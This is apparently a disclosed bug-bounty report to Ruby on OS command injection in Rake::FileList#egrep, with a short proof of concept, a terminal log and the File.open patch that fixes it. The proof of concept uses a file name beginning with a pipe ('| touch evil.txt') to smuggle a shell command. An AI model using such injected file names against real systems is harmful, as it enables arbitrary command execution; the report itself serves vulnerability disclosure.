

61 OS Command Injection via egrep in Rake::FileList

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yoshida submitted a report to [Ruby](#).

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When a file which has command file name of stating with `__` is in `Rake::FileList`, then `egrep` will execute the command.

How to reproduce

PoC (`poc_rake.rb`) is the following.

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```
1 require 'rake'
2
3 list = Rake::FileList.new(Dir.glob('*'))
4 p list
5 list.egrep(/something/)
```

Example of executing.

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```
1 % ls -l
2 Gemfile
3 Gemfile.lock
4 poc_rake.rb
5 vendor
6 | touch evil.txt
7 % bundle exec ruby poc_rake.rb
8 ["poc_rake.rb", "Gemfile", "Gemfile.lock", "| touch evil.txt", "vendor"]
9 poc_rake.rb:6: list.egrep(/something/)
10 Error while processing 'vendor': Is a directory @ io_fillbuf - fd:7 vendor
11 % ls -l
12 Gemfile
13 Gemfile.lock
14 evil.txt
15 poc_rake.rb
16 vendor
17 | touch evil.txt
```

`evil.txt` was created.

Impact

An attacker must deploy a file containing command names in the target environment, assuming that this attack is successful. If that would be a serious problem.



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confirmed. How about the following patch for this issue?

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```
1 diff --git lib/rake/file_list.rb lib/rake/file_list.rb
2 index 15ea4b3..22c339f 100644
3 --- lib/rake/file_list.rb
4 +++ lib/rake/file_list.rb
5 @@ -294,7 +294,7 @@ module Rake
6     matched = 0
7     each do |fn|
8       begin
9         - open(fn, "r", *options) do |inf|
10 +       File.open(fn, "r", *options) do |inf|
11         count = 0
12         inf.each do |line|
13         count += 1
```



yoshida posted a comment.

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It looks good. Thanks.



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This issue seems vulnerable like <https://www.ruby-lang.org/en/news/2017/12/14/net-ftp-command-injection-cve-2017-17405/>. But the attack surface was limited because if it's difficult to inject malicious input to `Rake::FileList` by attackers with the current usage of Rake in the world.

- [hsbt](#) [Ruby staff](#) closed the report and changed the status to **Resolved**. Jul 21st (3 ye
- [The Internet Bug Bounty](#) rewarded [kyoshida](#) with a **\$200** bounty. Jul 21st (3 ye
- [hsbt](#) [Ruby staff](#) requested to disclose this report. Aug 28th (3 ye
- [kyoshida](#) agreed to disclose this report. Aug 28th (3 ye